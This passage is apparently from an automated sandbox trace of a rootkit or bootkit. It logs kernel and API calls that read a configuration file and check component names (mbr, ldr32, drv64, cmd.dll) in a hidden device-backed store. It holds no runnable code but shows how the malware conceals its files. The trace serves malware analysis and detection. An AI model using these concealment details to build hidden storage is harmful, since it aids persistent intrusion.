KeEnterCriticalRegion () [0126.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] KeLeaveCriticalRegion () [0126.903] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.903] KeEnterCriticalRegion () [0126.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.903] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] KeLeaveCriticalRegion () [0126.903] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.903] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.903] KeEnterCriticalRegion () [0126.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] KeLeaveCriticalRegion () [0126.903] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.903] ReleaseMutex (hMutex=0xf0) returned 1 [0126.903] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.903] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.903] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.903] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.903] KeEnterCriticalRegion () [0126.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.904] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.904] IdePortDispatch () returned 0x103 [0126.904] KeWaitForMutexObject () returned 0x0 [0126.904] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.904] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.904] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.904] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.904] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.904] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.904] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.904] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.904] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.904] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.904] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.904] KeLeaveCriticalRegion () [0126.904] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.904] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.904] KeEnterCriticalRegion () [0126.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.905] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.905] IdePortDispatch () returned 0x103 [0126.905] KeWaitForMutexObject () returned 0x0 [0126.905] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.905] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.905] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.905] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.905] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.905] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.905] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.905] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.905] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.905] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.905] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.905] KeLeaveCriticalRegion () [0126.905] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.905] ReleaseMutex (hMutex=0x100) returned 1 [0126.905] Sleep (dwMilliseconds=0x2bf20) [0126.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ed8cad0, dwHighDateTime=0x1d24fa4)) [0126.914] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.914] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.914] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.914] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.914] KeEnterCriticalRegion () [0126.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.914] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.914] IdePortDispatch () returned 0x103 [0126.915] KeWaitForMutexObject () returned 0x0 [0126.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.915] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.915] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.915] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.915] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.915] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.915] KeLeaveCriticalRegion () [0126.915] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.915] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.915] KeEnterCriticalRegion () [0126.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.915] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.915] KeLeaveCriticalRegion () [0126.915] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.915] KeEnterCriticalRegion () [0126.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.915] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.915] IdePortDispatch () returned 0x103 [0126.916] KeWaitForMutexObject () returned 0x0 [0126.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.916] KeLeaveCriticalRegion () [0126.916] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.916] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.916] KeEnterCriticalRegion () [0126.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b38000 [0126.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.916] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.916] IdePortDispatch () returned 0x103 [0126.916] KeWaitForMutexObject () returned 0x0 [0126.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.916] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.916] IdePortDispatch () returned 0x103 [0126.917] KeWaitForMutexObject () returned 0x0 [0126.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.917] KeLeaveCriticalRegion () [0126.917] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.917] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.917] KeEnterCriticalRegion () [0126.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.917] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.917] KeLeaveCriticalRegion () [0126.918] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.918] KeEnterCriticalRegion () [0126.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.918] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.918] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.918] KeLeaveCriticalRegion () [0126.918] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.918] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.918] KeEnterCriticalRegion () [0126.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.918] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.918] KeLeaveCriticalRegion () [0126.918] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.918] ReleaseMutex (hMutex=0xf0) returned 1 [0126.918] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.918] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.918] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.918] KeEnterCriticalRegion () [0126.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.918] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.918] IdePortDispatch () returned 0x103 [0126.921] KeWaitForMutexObject () returned 0x0 [0126.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.921] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.921] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.921] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.921] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.921] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed3c0 [0126.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.921] KeLeaveCriticalRegion () [0126.921] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.921] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.921] KeEnterCriticalRegion () [0126.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.921] KeLeaveCriticalRegion () [0126.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.921] KeEnterCriticalRegion () [0126.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.921] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.921] IdePortDispatch () returned 0x103 [0126.921] KeWaitForMutexObject () returned 0x0 [0126.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.922] KeLeaveCriticalRegion () [0126.922] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.922] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.922] KeEnterCriticalRegion () [0126.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b39000 [0126.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.922] IdePortDispatch () returned 0x103 [0126.922] KeWaitForMutexObject () returned 0x0 [0126.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.922] IdePortDispatch () returned 0x103 [0126.923] KeWaitForMutexObject () returned 0x0 [0126.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.923] KeLeaveCriticalRegion () [0126.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.923] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.924] KeEnterCriticalRegion () [0126.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] KeLeaveCriticalRegion () [0126.924] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.924] KeEnterCriticalRegion () [0126.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.924] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] KeLeaveCriticalRegion () [0126.924] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.924] KeEnterCriticalRegion () [0126.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] ExFreePoolWithTag (P=0xfffffa80037ed3c0, Tag=0x0) [0126.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] KeLeaveCriticalRegion () [0126.924] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.924] ReleaseMutex (hMutex=0xf0) returned 1 [0126.924] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.924] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.924] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.924] KeEnterCriticalRegion () [0126.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.924] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.924] IdePortDispatch () returned 0x103 [0126.925] KeWaitForMutexObject () returned 0x0 [0126.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.925] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.925] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.925] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.925] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.925] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da540 [0126.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.925] KeLeaveCriticalRegion () [0126.925] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.925] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.925] KeEnterCriticalRegion () [0126.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.925] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.925] KeLeaveCriticalRegion () [0126.925] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.925] KeEnterCriticalRegion () [0126.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 